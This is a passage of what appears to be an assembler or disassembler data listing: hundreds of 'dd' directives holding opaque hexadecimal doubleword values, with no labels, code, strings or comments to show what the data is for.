		dd 61BC04D4h, 9B77D76Ah, 374F2800h, 67A7ECFCh, 764E0111h
		dd 3CC5C436h, 0D9D6D0CAh, 1E9E9B00h, 8A95B0F3h,	8EB867h
		dd 453E62D1h, 0CC08BD6Ah, 9068E960h, 0DF53A0h, 203361E3h
		dd 0AB1CEDFFh, 1705100h, 0D485FD25h, 992160D2h,	4B3C3728h
		dd 0EAA5760Bh, 0B8528033h, 0B851E1Ah, 0D0C01BB9h, 0EBB3F880h
		dd 7A006C5Eh, 21A8C234h, 0EA59E4h, 0D9D2029Eh, 1FA1EB1Bh
		dd 0E05B9307h, 0C28790F9h, 0E6E09F87h, 0E178C9h, 6ECA8F07h
		dd 67D4D5F8h, 0A0353Fh,	0AFF4C69h, 77B49Ah, 8DB6D6F0h
		dd 35526F2Ah, 72EB550Eh, 0B5870678h, 6AFA2219h,	93BD0EA0h
		dd 1F2A19D4h, 0CB40EEACh, 0B164FBAAh, 5E6003F7h, 0DACF82D1h
		dd 521419E8h, 0B309E800h, 0DBA51747h, 313C1315h, 9B240090h
		dd 4589AA62h, 0E9D42300h, 0F2D9FB05h, 323100A6h, 76E06A7Bh
		dd 2718CB2Dh, 0C408155Fh, 9520C0E9h, 0DF2C6A13h, 5A6E2103h
		dd 0C85039CDh, 3464284h, 3266CF23h, 36B0B5E4h, 3801A61Dh
		dd 6A7A262Ch, 70BE319Fh, 809FF921h, 1576A944h, 9220BA62h
		dd 126A59h, 0CF6C3835h,	13F64EB3h, 67DFE0C1h, 32F09BF7h
		dd 151DFD8h, 72339F2Eh,	881181E8h, 8AEB53EAh, 1DDBC7C0h
		dd 18C550A3h, 6252903Fh, 0E472051Fh, 560E5381h,	50A87BA4h
		dd 0C99E008Eh, 5E1AF4E6h, 19C147BEh, 0E7DD1EADh, 2A5179F0h
		dd 3B87713h, 0A803D1A6h, 0F7E70DB8h, 0EE289390h, 0B950ECA1h
		dd 0B21D0120h, 0A20EFB34h, 111AEBCCh, 1D977733h, 0DE40EA7Eh
		dd 0E48713B9h, 83FC006Eh, 92E105F8h, 0EE546DB8h, 9100CD8Ch
		dd 39E3524Eh, 0FCD7D03Eh, 5DA00095h, 51775716h,	8E30AD9Bh
		dd 0D1AA8EEh, 0CB8000B1h, 0B0F5D2A4h, 333EDE6Ah, 0A7D809E1h
		dd 7F6C00EDh, 0B45D36h,	0F9CD878Ah, 88D535DFh, 7042CB00h
		dd 0D2DA0E89h, 84133903h, 40870A9Ch, 81A482BAh,	663169D4h
		dd 0DBEA2844h, 21881010h
		dd 0E608F681h, 0A0066D44h, 40263728h, 2284C20Bh, 42227C25h
		dd 1BDE32DCh, 0FC107E29h, 105E896Ch, 6E12Eh, 0ED08FB3Dh
		dd 0BD1CDF7Ah, 8B46D500h, 512CB89Bh, 186D0017h,	0CCA1485Ch
		dd 0AB3B3564h, 38D4852h, 58541CBAh, 3D8FEFBDh, 4CE72241h
		dd 0CA604F3Ch, 0FF3400C7h, 0AAEC2998h, 9F4C182Dh, 0D43DC9h
		dd 0A610F438h, 1EB240CFh, 447DE6Ch, 0C03CEF93h,	2E8CDEDh
		dd 0CF3DBA78h, 22E100FAh, 0AEF05505h, 0D23F0FEDh, 1F81809Ah
		dd 0E8FE6A78h, 0F4006C4Ch, 41B9DC2Bh, 718B58A7h, 88CA13E7h
		dd 77B401D3h, 0F0FB909Bh, 0A71E46ABh, 85832F78h, 0B85D35BDh
		dd 7CFCC299h, 4323006Ah, 0F0061F9Dh, 0E033FDCh,	94E5BC74h
		dd 60EBEEh, 766B59D1h, 2B87D454h, 0AEAF1500h, 73D33C1Ch
		dd 0FFBD309Ch, 0F53716Ch, 402D6400h, 50D0A552h,	3CB7305Bh
		dd 8B451810h, 0F783EC00h, 0D7BCAC7Dh, 0B054F48Dh, 4272A7h
		dd 17408B32h, 13CEB53Dh, 8E92DF07h, 0B85CB1ACh,	0AA8100A8h
		dd 41438F05h, 30004EE1h, 0F5D69DBCh, 702326ADh,	0D0C90099h
		dd 0F8E8398h, 3C03AB9Ch, 0D98816D8h, 1A6EA039h,	0FBBA034Bh
		dd 7E25ED68h, 0D6309DA8h, 2256F800h, 0EBB8E35Fh, 4874B3h
		dd 0D5323F8Ah, 75D21D0Bh, 3800F07Fh, 9C42C0C3h,	1C163D49h
		dd 0C79D1A08h, 809F2DAFh, 8B84E86Fh, 48548700h,	4A415CF9h
		dd 79CD03D8h, 0FB254C95h, 823A1390h, 0DE004EE4h, 5368B076h
		dd 744B223Dh, 0FFCB0FEDh, 90C7DA29h, 150D90F3h,	85005E4Dh
		dd 784B75D8h, 64F557h, 0F7C818E0h, 0E51F17EEh, 218DF900h
		dd 2CAA5CCFh, 7BE9EA1Bh, 3B5F005Dh, 0BD3614B8h,	0FF00454Fh
		dd 0C44A52EEh, 0FCC3E3h, 0EEB7465h, 0A7697833h,	5D639E00h
		dd 7C02CF10h, 0FC0C0F5Ch, 7021C49Dh, 30A683ADh,	0CD00F40Ch
		dd 0E88976C2h, 1BF1CB1h, 12693AA8h, 2044C0B6h, 9700612Ah
		dd 0D9AB9AE1h, 240316h,	1F382748h, 0E317693Eh, 7C1BA41Eh
		dd 9D9FC080h, 0C19889h,	0F725EB91h, 0CC86B4F6h,	0D024A400h
		dd 0CDE1BA45h, 8E7C0087h, 4121B238h, 0C4002530h, 5B35C1A7h
		dd 0E88AD27h, 0AFFB36CAh, 0FC6274E0h, 45006391h, 0D61135B8h
		dd 0D1DF20h, 0DBDD8879h, 546EC718h, 0A4E8EC13h,	0CC727D00h
		dd 134D5Fh, 40F16057h, 0FE581F53h, 0B641A200h, 7B12338Ah
		dd 82FA0Ch, 1E6ECCEBh, 0E95708D3h, 92B14A00h, 7853751Fh
		dd 44880080h, 0D2822624h, 167BF8BCh, 7F127900h,	0BA68366Ah
		dd 63EB3B7Ah, 8F731Fh, 58713BEEh, 0E91D8B97h, 6100407Fh
		dd 9274F6BBh, 0B0245038h, 3C41720Fh, 2E0F8C50h,	8FE02AD4h
		dd 0BE45D71h, 80FC093Ch, 0A62232C2h, 9E7219h, 168DA27Ch
		dd 0E086F38Eh, 937EAF63h, 4E74A87Dh, 2101006Ch,	0C6843C25h
		dd 0D407333Ah, 0B3395D1Dh, 0FB0AE110h, 2FD03AA4h, 0C6DE0077h
		dd 64FA0B0h, 0CD00F874h, 0A41B9D0Dh, 14A2ECAFh,	0CA379CE9h
		dd 0ADA05000h, 64D23CC4h, 0D8228B00h, 5A404B6h,	5E100076h
		dd 7AE315B1h, 0DF00E6B0h, 86B23DB7h, 0A86DE1h, 32528B8Fh
		dd 0DCBF2211h, 8CF6D303h, 0C0C3E77Bh, 0DB1DFCh,	25427203h
		dd 0F5E3FE66h, 49279700h, 57319271h, 0DC300DFh,	11A35DB9h
		dd 2F0FCC7Dh, 601D6FE4h, 5FB5DB54h, 0A9693D71h,	0FC288901h
		dd 80A8B8ACh, 6754CCC8h, 72512265h, 29023887h, 64619A00h
		dd 9E5E34D2h, 0BBDEB901h, 2CEF925Dh, 2EC9FF8h, 6B0A8C1Ch
		dd 84C159C1h, 0EFD6D862h, 0BA399B07h, 1831B931h, 1980FBA7h
		dd 0A250AB99h, 1C00E42Ah, 1EDB2436h, 3D11A89h, 81D70721h
		dd 0CAC973FCh, 8E7AC887h, 99FD600h, 163BB13Eh, 138300A4h
		dd 0A051785Ah, 0DD1C3F2Ch, 6B41617Fh, 2A711A67h, 3AFF3D20h
		dd 0B6A4E896h, 0A7D60083h, 0FC38EF85h, 0F5288C00h, 6B0DC4F6h
		dd 0A910006Ch, 0AD9DAC25h, 7109D103h, 86303C54h, 0D6C52Bh
		dd 27F03757h, 926A3A2Bh, 3D019176h, 5D0D6C2h, 18C0ADB1h
		dd 1F50052h, 0D9F2A58Dh, 0F8EAF96Ah, 759EAA00h,	9DA6CA97h
		dd 0DE100082h, 0FC07E64Eh, 9B00DD51h, 0E406987Ch, 3A397B37h
		dd 7754901h, 0A77D4D57h, 2292C0E7h, 0D316EFCFh,	7B0071DCh
		dd 4B6B08C4h, 0B8B2EE9Ch, 6AC2002Dh, 0FA5B1BACh, 6FE6219Bh
		dd 0F5661A12h, 5D878C1Ch, 40EF7D50h, 35B96EB8h,	0CB05008Bh
		dd 872A555Fh, 4D0E0E15h, 0BA4160h, 1EDD965Ch, 0CC19000Ch
		dd 4E3D562Dh, 0AD1D6D20h, 0C24877EDh, 688B00B5h, 1ACAF761h
		dd 8D430500h, 0F66A28C1h, 0EB2000F1h, 0C8EA8460h, 920776AEh
		dd 12FA3458h, 13665061h, 0E1FB70h, 941E6CF9h, 0AF2BAB63h
		dd 51F75700h, 34B6F109h, 404200B3h, 13A64628h, 0FB1C3B4Ah
		dd 8880E637h, 56D29097h, 0C5F3001Ch, 330D7E2Eh,	534E58F9h
		dd 2524FEA8h, 0C6F00F2h, 0F9ABB24h, 47EB811Eh, 0D93E54C0h
		dd 727FCE2h, 1D86B31Bh,	0A68AA33Fh, 90E8A08Bh, 0B8008384h
		dd 76D57EA7h, 3FB179Ah,	4A953196h, 0C8A24BABh, 0D236B081h
		dd 2AA420AEh, 0F0F5DF2h, 4174F005h, 0BD1B8B2Eh,	7E66F0h
		dd 70D291AFh, 8F2DE638h, 6F695B00h, 0DF0DE8F2h,	0B1B4A02Eh
		dd 126E3B26h, 9BA0418Eh, 4C69AFA0h, 0F3071DC1h,	0A7B5E9CAh
		dd 2480D404h, 0ECF84F5h, 0A2AB1C4Fh, 10CD1D60h,	9F0E9BE4h
		dd 0E03EEF64h, 0F1F97D7Fh, 3CF44C49h, 66735801h, 0CD7915D3h
		dd 3D1DD47Ah, 0BBA5DB00h, 3C8BACA6h, 0CCC40012h, 4D33F594h
		dd 0CD0FA305h, 0E0B2448Eh, 0F3892991h, 21F0640Bh, 0DC10C0CEh
		dd 1100D6E1h, 0D1B5CB66h, 0F69BC63h, 0E6206E1Eh, 4E1DD80h
		dd 67603F27h, 7CC02B19h, 6BA30077h, 638B1931h, 0F70FA56Ch
		dd 0EF1AD62h, 7D98A095h, 0A9A4Fh, 5BBFC967h, 1EB47622h
		dd 0C05596C7h, 75310220h, 2520C0E7h, 0CBFFC569h, 0F73E961Fh
		dd 0AD7400BDh, 38436CC2h, 0B303094Ah, 5A00D549h, 7841B9D4h
		dd 67B0C103h, 8819944Bh, 70EE88h, 0D3482CAEh, 187F87CEh
		dd 0D71F8BB0h, 4603C30Bh, 906460D1h, 0DA3FFAh, 0FD95936Bh
		dd 815F4F88h, 10F1C01Ch, 0BDD5E380h, 3DE624h, 39DC997Eh
		dd 0F9DF9FA5h, 49237012h, 3E8E00EFh, 0B6950FD1h, 7BDC9750h
		dd 9200E17Eh, 0FE42D6D2h, 0F97C9Fh, 86F59BB2h, 0E61C67E2h
		dd 0AEC5C300h, 0B6CBC642h, 3B4B00FDh, 1F2C2240h, 0C400E84Ch
		dd 9FE11ED4h, 7E33077Ah, 80B207D5h, 38E5270h, 0F890D18Ch
		dd 0A100E8A9h, 3702C71Ch, 76FBE95h, 0A686A58Bh,	0D923F0D8h
		dd 2E00555Ch, 4058E501h, 0F859D241h, 47C61CF2h,	22954912h
		dd 501C7480h, 96007C3Eh, 16383287h, 0DAA193h, 75370D55h
		dd 31581D92h, 5967AB00h, 629EA5B1h, 2B360F68h, 23AEFC55h
		dd 0CAC80FA0h, 90002C4Ch, 99A7765Dh, 1DA380h, 0F00D414Bh
		dd 29ED15A2h, 57E65300h, 567EEC1h, 2B5E0EACh, 64EE95DFh
		dd 0D6B202F6h, 0A6634D6Fh, 0CF977E88h, 0AA117F00h, 2A252859h
		dd 0C7A900F7h, 99DA0AFh, 0F0F93E9h, 0C3CB3657h,	0F849102Bh
		dd 28CDE04Ah, 3ED00E81h, 413D98C8h, 2BECDC00h, 3F8EED0Ch
		dd 4A02F800h, 0BFAC08CDh, 402409B4h, 0AD806AE9h, 0C1E6BAA5h
		dd 53FA7C00h, 645476Eh,	803405A3h, 80405B0Eh, 0E161650Ch
		dd 362A2403h, 0B72BD746h, 457EB720h, 901F0350h,	6C6D7BC9h
		dd 5BB8E8A0h, 0DD04F00h, 6FEB1ADBh, 0F6290041h,	24F225D8h
		dd 0FE0097FFh, 8E9BE1E4h, 40BCE7h, 667C3567h, 513EEA25h
		dd 0FE0BE307h, 0F7DBD050h, 9FAB2400h, 271C90EBh, 7C3ADCCh
		dd 0F8801621h, 13499Bh
		dd 0CB53E07Ah, 1178B9ABh, 0EDA14203h, 0E04F46AAh, 9BF6C5h
		dd 7C6E420h, 0F2901249h, 8024AB3Fh, 1583CA66h, 73718EFAh
		dd 129F0059h, 7F8AA92Ah, 2800BDB7h, 6D89A51Dh, 9849D678h
		dd 0F69A0534h, 0DF0221h, 0EEE1B1A4h, 0AB00B3FFh, 9D1F11DCh
		dd 1CAE9247h, 0C004D986h, 7D2FDEC9h, 0A1009468h, 0FC9D4F53h
		dd 3BF88083h, 7C80C661h, 11CCB788h, 4F003DABh, 1DB636ACh
		dd 8E42D4h, 0A108B574h,	3AD625C2h, 0A2944600h, 3FAE63A4h
		dd 70C70035h, 9C5E9DCEh, 0BA001A25h, 2CE66D50h,	0EEA3BF9Fh
		dd 1B0B03DEh, 0FBD2134h, 4BE41EE0h, 913E9200h, 9E87D974h
		dd 0E71F890h, 0ECD8C14Fh, 0AC61F6E0h, 2A903275h, 76D23A00h
		dd 0BF16746Ah, 0DB211FB8h, 592F80D4h, 18235248h, 0B44E5A02h
		dd 8762F86Ch, 977043FCh, 773C3280h, 0CB760AB1h,	0D488E2h
		dd 64441DFCh, 0FEA5087h, 2401C6B0h, 2126910h, 0EC405377h
		dd 3C7D25CBh, 7B00FB74h, 7240F4DDh, 297665F1h, 0B5602E03h
		dd 0C08C2144h, 79AA9C1Eh, 7BE307FEh, 90985C33h,	76BCA0FBh
		dd 405E8E27h, 7F217FDFh, 5DFE003Ch, 2B8B24E8h, 38005147h
		dd 0CEDE7492h, 3EC792Fh, 78648EAEh, 0BED15808h,	73C5C0D5h
		dd 0A318AC60h, 4820B5B1h, 0B8043EA1h, 80747BA2h, 0B4409E08h
		dd 3186EC1Dh, 0BF182200h, 7539782h, 25BA91E3h, 638F7F9Bh
		dd 26BB7800h, 650045D3h, 392FD5FDh, 3382CCAh, 9A1A3A17h
		dd 0FEE8DB5Eh, 0DF038C97h, 0A11B3B40h, 0FC12A836h, 22250135h
		dd 0B1EB955Fh, 0E14CD09Ch, 0FF50300h, 732A1DECh, 269048FFh
		dd 0C1B46E00h, 0E9FBB67h, 0AD7DDB18h, 162829B0h, 0ACC4D6FBh
		dd 1ABE00B8h, 4D620386h, 7E7926E9h, 0A76001C1h,	0DC5284F2h
		dd 0F900FF1Ch, 0E7471DAFh, 105DD2h, 2336938h, 39CC1A01h
		dd 834CA100h, 0E748C3C9h, 0D7A60051h, 1DDEADCAh, 0DC07312Eh
		dd 0E186FF7h, 587921F0h, 0E8781Eh, 28F02A51h, 0C792351Ch
		dd 0FD0097ECh, 6F66FA86h, 0BEA283h, 0A569685Dh,	0CCE2243Bh
		dd 0D775647Dh, 0E83030E1h, 4E1A6000h, 9FD8A9BEh, 0AB640179h
		dd 80157DEh, 726C307Ah,	90E7003h, 0C05AE56Eh, 54590F8h
		dd 8CFDF1E7h, 0A77B80E1h, 0A800524Eh, 4BA33432h, 95E433h
		dd 0F169D131h, 0E053BB21h, 0C8F82000h, 3801DBFEh, 24F6262Fh
		dd 0E73400B0h, 0F3401E27h, 83034800h, 0D4F788EAh, 49AA0095h
		dd 0E92D72Fh, 0C31C5C1Ah, 9DFC3132h, 2D80501Eh,	0DBF77A52h
		dd 27561DEBh, 0CB1DB8h,	74AD3F70h, 3638C3AAh, 0E20E0029h
		dd 7509014Ch, 38ED3C73h, 0EADDAB00h, 80055232h,	0AA016772h
		dd 30B2FE87h, 0CAC810A2h, 343B00B5h, 7DE138C8h,	460F98ABh
		dd 0E0441B8Ah, 2CEDFC01h, 0A46A0029h, 0ACC8C01Ah, 880E80E3h
		dd 40951BF5h, 3CF1FF7Dh, 71598C4h, 5E49945Ah, 3DE5800Ah
		dd 840006FBh, 715CBBE4h, 559C86A2h, 0A840DC42h,	35C9E8h
		dd 0C55CD56Eh, 4DE1E206h, 0E00D9200h, 12B4BA42h, 0EEB50070h
		dd 0FF6A44C1h, 5E00BB09h, 0D79205DAh, 45487Ch, 0D41BE896h
		dd 0BD495AF1h, 0DD0045B8h, 0F9716242h, 716BE15Eh, 28AC39A0h
		dd 0C28A0073h, 0C9A336E3h, 290091FFh, 93A75D72h, 0F62852BDh
		dd 55500024h, 78AD42A9h, 0F1988517h, 986E642Ch,	0A43C59Fh
		dd 0B0304F98h, 3B8170h,	0BDE253DEh, 32259910h, 4400B1F2h
		dd 0CBB687A8h, 0E793F1h, 0CC2EDC52h, 6C9A5749h,	0D6D5DE02h
		dd 60A67370h, 40E839F4h, 0C41D4C0Eh, 0A80075F0h, 7F388FE3h
		dd 5813E0AEh, 7178F8h, 6E0C8816h, 618B155Bh, 0A7990300h
		dd 23324031h, 8F132C10h, 38AA9EACh, 9D60CC00h, 76DCE3DEh
		dd 0A1A44900h, 0F609BE12h, 1F0D0188h, 6897A2Eh,	0E440318Bh
		dd 2A00E775h, 59F0221Dh, 232068h, 0F8DE46DFh, 0FE81BF10h
		dd 9CF54F00h, 27B632AEh, 8EE801h, 2690F97Ah, 7F514866h
		dd 29D8E200h, 80E75BD4h, 6E6117AFh, 696E06D3h, 113F2868h
		dd 0EC648027h, 5E5C4DE5h, 84FA0071h, 0A25F230Ch, 26E028BCh
		dd 660058BAh, 0DD353DC9h, 0DE891Ch, 0A370149Ch,	51279D59h
		dd 0E57A1B00h, 0A555290Dh, 159900DAh, 0BAA6B565h, 7617C626h
		dd 0FA18F093h, 0EE2FF40h, 12ABB64Bh, 845EB3h, 0BDE330BEh
		dd 23074E8Ch, 852E27A8h, 0C6F473A0h, 44A31860h,	0FDC89029h
		dd 0EF39E962h, 4B326093h, 0E1592BA4h, 0BDF5062Ch, 0AE003930h
		dd 0F3548934h, 36888EDh, 62011D58h, 0D5C0BDF2h,	0F1C62370h
		dd 0A158D9F5h, 48BE5C4Eh, 0E051307Fh, 0DCF2D421h, 0E8001476h
		dd 0E264AB7Ch, 5283C557h, 5E3824A9h, 0AB927C03h, 28EB6154h
		dd 68AA1803h, 30DFE2h, 56BBBDE0h, 471257C9h, 89757F13h
		dd 5CF914h, 0AB75205h, 636EB4h,	104A286Ch, 79A91606h, 7EFD8600h
		dd 7C22AE2Ch, 0BE550078h, 3BD9E2A8h, 0B377A26Fh, 0C9D41900h
		dd 1C17D1A7h, 62C50078h, 39A90C51h, 2D0094DEh, 0C4D74786h
		dd 42D999h, 6697A658h, 57B0D234h, 400AE701h, 9EBDC40Dh
		dd 86DECCh, 4C6F7BD0h, 8B581119h, 76466700h, 0F83A3DA6h
		dd 7E490F9Bh, 2E0EB06Fh, 0A35F54A0h, 0A9F4AFE4h, 0E1392FE0h
		dd 100D00CAh, 19F7CD1h,	26D0056h, 54FB606Bh, 7F002153h
		dd 57F505C0h, 15F97470h, 0A0FDBD1Eh, 0D1D1100h,	29408E87h
		dd 6B8B3Ah, 357E03A6h, 778C382Bh, 48531C84h, 75E44013h
		dd 2D410F87h, 8198720Fh, 20F70F50h, 3F6C6296h, 953B0182h
		dd 48837BA6h, 4C7EC68h,	0BB2ACF00h, 0CA5BEDE3h,	0F0C45873h
		dd 0D7F72200h, 43B70563h, 3A75C600h, 9B950383h,	33CD0030h
		dd 0B093A9C3h, 7900427Eh, 0FF77CB31h, 3A29A26Eh, 4007B98h
		dd 64D38B69h, 4501A163h, 0A65AD9A9h, 0F0DBBAE6h, 0BEF99Bh
		dd 1FC1077h, 0AF87C6EBh, 0E10098E0h, 757DFFADh,	3ACA56h
		dd 4E6571FAh, 17B0D6C7h, 3F466400h, 0CC66BC9Bh,	0FD703E8h
		dd 297648B5h, 74FB2DA3h, 541F2BD8h, 81652C00h, 8B169A61h
		dd 0EEBD03E6h, 0C9607536h, 3076B3F0h, 5C97CC25h, 844200EFh
		dd 0BD6EB183h, 581FA024h, 0E43CDB24h, 62274329h, 8C04C067h
		dd 111C0121h, 681181FFh, 0F8518879h, 5534881Eh,	53820B90h
		dd 0E404B3A8h, 12416621h, 0E5148207h, 21D024B6h, 0F31266C7h
		dd 4C753C87h, 3CA0BC29h, 0EF894E58h, 0B05F1440h, 412881B2h
		dd 13AB9828h, 0FA7900BBh, 0B547723Dh, 0E4070464h, 7F9CF47Bh
		dd 828BDF10h, 7E271CD6h, 8891408Ah, 9BDE5890h, 0EF00F2FEh
		dd 11DDF499h, 0CD5F89h,	8ED81AC1h, 1490D4Bh, 7E9A6803h
		dd 0D0EFA9B8h, 15F7902h, 0CBA4B4E1h, 0F8B98993h, 91E9CCDh
		dd 0BE46E7h, 798E28FAh,	0FCCC781Fh, 0AA3E5096h,	0C5B000B5h
		dd 351854DDh, 9A005377h, 0D52290D8h, 87AB6Ah, 3D85494Ch
		dd 50B1BBE5h, 45DC0901h, 48AC2DE8h, 606A0FCh, 0FDEA8BF8h
		dd 0A1001844h, 11D8B41Bh, 26B02Ch, 3FFE5359h, 5057A3D7h
		dd 0F043DF0Fh, 652E2287h, 9ADC4027h, 3BA803CAh,	56D57845h
		dd 0F6C67600h, 0A126D36Fh, 0B73F00A5h, 5DBA9581h, 54183BEAh
		dd 29706C2Bh, 0ED9B0307h, 67ADF2D3h, 6BD112E8h,	36B8A100h
		dd 43A34B86h, 0AC6526D8h, 0EC5680F8h, 859AD1C9h, 0C1D28800h
		dd 0A4FDB2A3h, 0B4FB03CAh, 0FEA0EB60h, 7C2D6780h, 69315C03h
		dd 88C5CCDFh, 364886h, 0EE8593A8h, 1E253F20h, 0E3914900h
		dd 3E6EDC53h, 66F500D4h, 16D693E2h, 2C001F75h, 0A0EA6C3Dh
		dd 3E074A7h, 9A4554ADh,	46885B58h, 13007895h, 839F86C2h
		dd 20F905Dh
		dd 0A0D6E9C0h, 0C0F7347Fh, 5B49FBh, 0E3A5941Bh,	67F32151h
		dd 2F2C0774h, 0B600EE4Bh, 7CF258C0h, 0BEBC00B2h, 612ED1F7h
		dd 9F013509h, 7D965FA2h, 6060C5B5h, 3BA51D10h, 0C25C086h
		dd 0C3C91654h, 65B38900h, 150A3FA7h, 0F7380042h, 0C0867D2Eh
		dd 0CC00EB77h, 6E712A9Ch, 304EAB66h, 0F8245C5Eh, 70004986h
		dd 4F358A9Dh, 2C2687h, 58F2602Bh, 3D9EF5C6h, 9CD8280Fh
		dd 6A55C0E2h, 3E49D4ADh, 0D23CD6B7h, 6B811B83h,	0FAA8355Ch
		dd 1700EDABh, 3A2177C5h, 0C45074h, 0E59E2A1h, 0F185EF79h
		dd 0E85BC700h, 0D8EACC21h, 9F2800F0h, 0BD0B5C9h, 47038453h
		dd 76FAB001h, 3B3490B7h, 8C2E0175h, 4E61EE54h, 7E32F86Ah
		dd 46CD4300h, 0F18260Bh, 9F740086h, 0BE2E3577h,	0A0009582h
		dd 0FEA17F1Ch, 24C2CF9Ch, 8048692Fh, 1F6A8CCDh,	35000E04h
		dd 0F1926E91h, 3639639h, 66CFD4FBh, 0FDC03A03h,	0E000C7DDh
		dd 0ECAA9B22h, 0BC0597h, 0B2F0F385h, 0A92DB15Dh, 858E649h
		dd 2CEECCh, 35983DC2h, 0B1008D2Fh, 0CF055BDBh, 1C4D1694h
		dd 0CC3FC37Fh, 61109063h, 38A2FA07h, 0AFD0CB99h, 0C0FC5E2Eh
		dd 0AB280FC0h, 87B0859Dh, 0BA1A3Ch, 18102DC4h, 1E81E01h
		dd 0DA91115Ah, 0C4BD5CDDh, 0FD02342Fh, 0A7D54570h, 915DC01Fh
		dd 7492F638h, 0A84E0B51h, 1D808EDDh, 0E1D0C65Dh, 0CE7EF100h
		dd 78095CD4h, 854B00A0h, 0D1FB9547h, 0FD1EE21Ah, 6F00FE11h
		dd 87904279h, 0ACC500E6h, 0FC45DF27h, 88078AA5h, 469511B6h
		dd 0B5CE807Fh, 261A7268h, 186967h, 91484003h, 0EA0028AEh
		dd 0E6818407h, 3CC5605Dh, 0ED00D293h, 4F61CFB2h, 0DF00C7E2h
		dd 0F93B9267h, 0BC9A7Ch, 6A8AB406h, 3362C036h, 0A8002A72h
		dd 7F9403D4h, 7DD7ABF6h, 6170EAh, 78026AB7h, 0EF7DCD1Bh
		dd 0D3A0FC01h, 419D49B8h, 0BBC0AC40h, 5D0507E7h, 1084F9E9h
		dd 6C352882h, 9D41F13h,	96637600h, 7B4DC630h, 7EB41580h
		dd 0C000E06Bh, 0C2B2819Eh, 0FE0F4068h, 0A0D78821h, 0C770E003h
		dd 288E6E96h, 679F1280h, 0F173567Bh, 0ADB3B900h, 0EF632FEAh
		dd 0F5930035h, 9E6C9796h, 5400D302h, 1ADD4628h,	7792772Eh
		dd 0C259839h, 677D1686h, 9909FAACh, 80429884h, 5CDA1015h
		dd 11AB00A5h, 7815CF3Eh, 0C31D4368h, 7DC0AD20h,	268C7B37h
		dd 7045F699h, 851F048Ah, 0C127EDBBh, 7F038B10h,	0CBC1A980h
		dd 0A6983F8Fh, 0F7419Eh, 0D4E706E6h, 6E000340h,	91B032B9h
		dd 0E2CCFD76h, 0B1A900F9h, 0B4CF61C0h, 7B789352h, 14D2A300h
		dd 3D4AFA86h, 8F3C164Eh, 0FF7300E6h, 0B0944950h, 0C60D405h
		dd 0C0AF3D92h, 8A10AE94h, 0BA294100h, 7309347Eh, 0A1711DA4h
		dd 3D78C03Bh, 41D91F66h, 3C589600h, 46514A4Bh, 9E190031h
		dd 0A0B2BD67h, 72002275h, 8D9FA5D1h, 0B897C781h, 0C060F7CDh
		dd 3C5C1128h, 0B3D200DEh, 6110EAC2h, 0A277B6h, 0AF4A2790h
		dd 0DD80CC44h, 0EE816F05h, 58845893h, 0BFDC0A80h, 0A9988Ch
		dd 0F60730DEh, 2B3516E9h, 0C3250600h, 428A2D2Fh, 71A001B5h
		dd 3109C859h, 0DE68F44Ah, 51881800h, 274781FEh,	0DC001EFh
		dd 95AC4F9Bh, 4C743CD9h, 290092A8h, 31474D7Fh, 3A120607h
		dd 98EDD770h, 96A32C00h, 76FDB99Eh, 0B2F70036h,	6A64E895h
		dd 0B30312F3h, 28682DF6h, 0EF38E8F9h, 103700F2h, 0ADEC2BC0h
		dd 68ECD0D5h, 9DB88950h, 75B11400h, 0AB2DCA9Eh,	0BF76001Eh
		dd 0A3159940h, 2707E5C0h, 538F6716h, 199F8720h,	6E96004Bh
		dd 8414AF36h, 710083C8h, 18E87788h, 0B9203Dh, 8BBA72ABh
		dd 430D229h, 666D8100h,	0B0AA051Ah, 0FEDF3FFBh,	44F8680Ch
		dd 8B007E1Ch, 30C54987h, 0BAED3h, 0F3254854h, 0AD4280E4h
		dd 6704E2F6h, 899FED3Fh, 0A406080h, 72DF0736h, 61BE0379h
		dd 0C897E465h, 9803F754h, 0DA63F5E0h, 0F8CAF10Ah, 4AA3D0CFh
		dd 28D4005Fh, 10F1DB6Ah, 0B00E6C3h, 279C31D2h, 0FEB8850Eh
		dd 8B72FDh, 0B9E4F9BEh,	176CDD12h, 130CBD00h, 2FC44551h
		dd 0F1C2007Eh, 0A985AE33h, 190710D6h, 8D528EA0h, 0E863E51h
		dd 5039D8h, 4C3067C3h, 0DB04DD89h, 93928000h, 8F156EAFh
		dd 25C40134h, 9F26497Ch, 0FE5F40Ah, 0F7005C78h,	0E81B4022h
		dd 0B66296h, 0A2F2F064h, 76A43715h, 4AC40900h, 827030CEh
		dd 67E600DCh, 1039A0E3h, 43003AA8h, 5E27FD77h, 0F04DEDh
		dd 0AF7AA5B1h, 6E6B7966h, 0B5EBD400h, 6573B73Bh, 0D59C0058h
		dd 0B3ABA962h, 3600A411h, 1B4A88D6h, 71595F4Dh,	0CB85003Eh
		dd 9C7A34A9h, 0A0035B7h, 0B11083D3h, 1BB8D56h, 2B044663h
		dd 0F0827E26h, 490071D4h, 0DDDF21CDh, 0F9EAFBh,	0ECC8ED44h
		dd 7FB89828h, 59B90B00h, 0E382E55Fh, 2B1D00F5h,	0CAC2F1DCh
		dd 0FE1C974Ah, 8440FA2Ah, 7D4BC9FFh, 494D0041h,	228185Eh
		dd 0E3010DB8h, 4A7B3073h, 0FFE936D6h, 1FE46270h, 4041CE32h
		dd 8727F566h, 0BB003B28h, 0D5E6210Ah, 2DD1320h,	0E0043436h
		dd 8D43875Dh, 6B4196CAh, 0D6F9EF82h, 6DA03B86h,	0F0FD009Ah
		dd 0B0E9A042h, 0EC00D5CCh, 6D097753h, 6E98FFh, 0FC242B18h
		dd 0B4623E3Fh, 0DC5EA0C7h, 0A0797893h, 9EB06Ah,	3B754E48h
		dd 80863F3Ch, 0F733AD3Fh, 58811A00h, 0E7707FCAh, 5A1900C2h
		dd 4ABA018Eh, 0C0029106h, 4D94CC02h, 313440C4h,	0EB391754h
		dd 0CD85B0CBh, 854C9E0Eh, 7884E0CCh, 0EA73079Fh, 0C18204E9h
		dd 80513B86h, 0B9AB2B48h, 8181903Dh, 0BF70AF03h, 0FBC4EB55h
		dd 10902Eh, 282127F7h, 8BE63143h, 1C0C6B70h, 604ECF0Fh
		dd 701900ECh, 69134062h, 3D00F75Fh, 0E0812608h,	1C416B44h
		dd 4092B0C0h, 0A1F08B20h, 45009B13h, 79FADDBDh,	733D361h
		dd 80D4A7E6h, 1D149058h, 50025E1h, 89214F6Dh, 1ABB012h
		dd 106AA2DCh, 0D881A5A9h, 3B7EF17Fh, 1CC6CC3Eh,	3640B62Ch
		dd 6ED1BA18h, 0C2CB2809h, 0EF75DCh, 7033ACD3h, 1B11B873h
